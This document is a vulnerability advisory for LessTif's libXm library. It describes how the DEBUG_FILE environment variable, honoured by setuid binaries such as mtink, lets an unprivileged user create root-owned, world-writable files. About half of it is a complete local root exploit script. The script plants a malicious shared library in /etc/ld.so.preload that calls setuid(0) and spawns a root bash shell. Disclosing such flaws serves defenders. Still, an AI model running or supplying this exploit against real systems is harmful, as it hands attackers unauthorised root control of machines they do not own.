Liblesstif local root exploit

I. BACKGROUNG

LessTif is the Hungry Programmers’ version of OSF/Motif. It aims to be source compatible meaning that the same source code should compile with both and work exactly the same.

II. DESCRIPTION

LibXm – a part of LessTif handles debug logging in insecure manner leading to local root exploit.

Library allows to set logging of debugging information to file by setting up environment variable DEBUG_FILE. While executing setuid binary linked against libXm library, it doesn’t check anything. Library opens file in append mode with permission according to umask, so there is possibility to create world writable, root owned files.

III. ANALYSIS

Creating world writable file with effective uid of root, allows in various ways to elevate privileges f.ex. by creating /etc/ld.so.preload.

IV. DETECTION

Vulnerability was tested on Mandriva Linux 2006 with liblesstif2-0.93.94-4mdk using mtink setuid binary.

V. EXPLOIT CODE

Exploit needs mtink to be setuid (default in Mandriva Linux 2006)

```
#!/bin/sh

echo
echo "mtink libXm local root exploit"
echo "* karol@wiesek.pl *"
echo

umask 000
export DEBUG_FILE="/etc/ld.so.preload"

cat > /tmp/lib.c << _EOF
#include <unistd.h>
void _init(void)
{
	if (getuid()!=0 && geteuid()==0)
	{
		setuid(0);
		unlink("/etc/ld.so.preload");
		execl("/bin/bash", "bash", 0);
```

```
        }
}
_EOF
/usr/bin/gcc -o /tmp/lib.o -c /tmp/lib.c
/usr/bin/ld -shared -o /tmp/lib.so /tmp/lib.o

/usr/bin/mtink

echo "/tmp/lib.so" > /etc/ld.so.preload

/bin/ping
```